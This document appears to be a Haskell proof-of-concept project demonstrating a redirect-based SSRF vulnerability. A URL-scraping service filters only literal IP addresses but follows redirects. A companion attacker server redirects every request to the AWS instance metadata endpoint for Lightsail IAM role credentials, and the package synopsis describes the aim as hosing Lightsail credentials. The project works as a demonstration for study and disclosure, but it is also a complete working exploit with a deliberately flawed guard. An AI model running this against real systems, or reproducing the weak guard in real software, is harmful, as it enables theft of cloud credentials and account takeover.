Example of a redirect vulnerability

client.hs

{-# LANGUAGE OverloadedStrings #-}
{-# LANGUAGE PatternSynonyms #-}

import           Control.Applicative
import           Control.Lens
import           Control.Monad

import           Data.ByteString (ByteString)
import qualified Data.ByteString.Lazy as BSL
import qualified Data.IORef as IORef
import qualified Data.Map.Strict as M
import           Data.Monoid ((<>))
import qualified Data.List as L
import           Data.Text (Text)
import qualified Data.Text as T
import qualified Data.Text.Encoding as TE

import qualified Network.HTTP.Types as HTTP
import           Network.URI (URI, parseAbsoluteURI, uriToString)
import qualified Network.URI as URI
import qualified Network.Wai as Wai
import qualified Network.Wai.Handler.Warp as Warp
import qualified Network.Wai.Middleware.RequestLogger as Logger
import qualified Network.Wreq as Wreq

import           Prelude hiding (lookup)


data Storage = Storage {
    insert :: Text -> IO Id
  , lookup :: Id -> IO (Maybe Text)
  }

newtype Id = Id {
    unId :: Text
  } deriving (Eq, Ord, Show)

simpleStorage :: IO Storage
simpleStorage = do
  ref <- IORef.newIORef M.empty
  next <- IORef.newIORef (0 :: Integer)
  let
    fresh = do
      fmap (Id . T.pack . show) . IORef.atomicModifyIORef' next $ \j -> (j+1, j)

    ins t = do
      idd <- fresh
      IORef.atomicModifyIORef' ref $ \m ->
        (M.insert idd t m, idd)

    lkp i =
      fmap (M.lookup i) (IORef.readIORef ref)
  pure (Storage ins lkp)


main :: IO ()
main = do
  storage <- simpleStorage
  Warp.runSettings
    (Warp.setPort 8000 Warp.defaultSettings) $
      Logger.logStdout $ \req resp ->
        application storage req resp

application :: Storage -> Wai.Application
application storage request respond =
  case (Wai.requestMethod request, Wai.pathInfo request) of
    (POST, ["site"]) ->
      sitePost storage request >>= respond
    (GET, ["site", uri]) ->
      siteGet storage uri >>= respond
    _ ->
      respond (plain HTTP.status404 [] "Not Found")

sitePost :: Storage -> Wai.Request -> IO Wai.Response
sitePost storage request =
  case contentType request of
    Just Form -> do
      -- Don't do this in production or you'll be DDoSed! Use requestSizeCheck first
      body <- Wai.strictRequestBody request
      sitePostForm storage (BSL.toStrict body)
    _ -> do
      pure status400

sitePostForm :: Storage -> ByteString -> IO Wai.Response
sitePostForm storage body = do
  let query = HTTP.parseSimpleQuery body
      muri = L.lookup "site" query >>= hush . TE.decodeUtf8' >>= parseAbsoluteURI . T.unpack
  case muri >>= safeUri of
    Just uri -> do
      mtxt <- getText uri
      case mtxt of
        Just txt -> do
          i <- insert storage txt
          pure (plain HTTP.status201 [(HTTP.hLocation, location i)] "Created")
        Nothing ->
          pure status400
    Nothing ->
      pure status400
  where
    hush = either (const empty) pure
    location i = TE.encodeUtf8 ("/site/" <> unId i)


siteGet :: Storage -> Text -> IO Wai.Response
siteGet storage i = do
  mtxt <- lookup storage (Id i)
  pure (maybe status404 (plain HTTP.status200 []) mtxt)

-- -----------------------------------------------------------------------------
-- XXX WAI helpers

plain :: HTTP.Status -> HTTP.ResponseHeaders -> Text -> Wai.Response
plain status hdrs =
  Wai.responseLBS status ((HTTP.hContentType, "text/plain;charset=utf-8"):hdrs) . BSL.fromStrict . TE.encodeUtf8

status400 :: Wai.Response
status400 =
  plain HTTP.status400 [] "Bad Request"

status404 :: Wai.Response
status404 =
  plain HTTP.status404 [] "Not Found"

pattern GET :: ByteString
pattern GET = "GET"

pattern POST :: ByteString
pattern POST = "POST"

pattern Form :: ByteString
pattern Form = "application/x-www-form-urlencoded"

contentType :: Wai.Request -> Maybe ByteString
contentType req =
  L.lookup HTTP.hContentType (Wai.requestHeaders req)

-- -----------------------------------------------------------------------------
-- Scraper

getText :: URI -> IO (Maybe Text)
getText uri = do
  response <- Wreq.getWith opts uris
  case HTTP.statusCode (response ^. Wreq.responseStatus) of
    200 ->
      case TE.decodeUtf8' (BSL.toStrict (response ^. Wreq.responseBody)) of
        Right txt ->
          pure (Just txt)
        Left _ ->
          pure Nothing
    _ ->
      pure Nothing
  where
    uris = uriToString id uri []
    opts = Wreq.defaults & Wreq.header "Accept" .~ ["text/plain"]

-- | Make a token effort to avoid pinging our local network.
safeUri :: URI -> Maybe URI
safeUri uri = do
  ua <- URI.uriAuthority uri
  let rn = URI.uriRegName ua
  guard (not (URI.isIPv4address rn))
  guard (not (URI.isIPv6address rn))
  pure uri

redirect.cabal

name:                redirect
version:             0.1.0.0
synopsis:            Client and server to hose Lightsail credentials
homepage:            https://github.com/thumphries/
author:              Tim Humphries
maintainer:          tim@utf8.me
build-type:          Simple
cabal-version:       >=1.10

executable client
  default-language:  Haskell2010
  hs-source-dirs:    main
  ghc-options:       -Wall -threaded -rtsopts
  main-is:           client.hs
  build-depends:
                     base                  >= 4.9           && < 4.11
                   , bytestring            >= 0.10.8        && < 0.11
                   , containers            == 0.5.*
                   , http-types            == 0.9.*
                   , network               == 2.*
                   , text                  == 1.2.*
                   , transformers          >= 0.5           && < 0.7
                   , wai                   == 3.2.*
                   , wai-extra             == 3.0.*
                   , warp                  == 3.2.*
                   , wreq

executable server
  default-language:  Haskell2010
  hs-source-dirs:    main
  ghc-options:       -Wall -threaded -rtsopts
  main-is:           server.hs
  build-depends:
                     base                  >= 4.9           && < 4.11
                   , bytestring            >= 0.10.8        && < 0.11
                   , containers            == 0.5.*
                   , http-types            == 0.9.*
                   , text                  == 1.2.*
                   , transformers          >= 0.5           && < 0.7
                   , wai                   == 3.2.*
                   , wai-extra             == 3.0.*
                   , warp                  == 3.2.*

server.hs

{-# LANGUAGE OverloadedStrings #-}

import           Data.ByteString (ByteString)

import qualified Network.HTTP.Types as HTTP
import qualified Network.Wai as Wai
import qualified Network.Wai.Handler.Warp as Warp
import qualified Network.Wai.Middleware.RequestLogger as Logger

import           Prelude

main :: IO ()
main =
  Warp.runSettings
    (Warp.setPort 8080 Warp.defaultSettings) $
      Logger.logStdout $ \req resp ->
        application req resp

application :: Wai.Application
application _request respond =
  respond $
    Wai.responseLBS HTTP.status302 [(HTTP.hLocation, location)] mempty

location :: ByteString
location =
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/AmazonLightsailInstanceRole"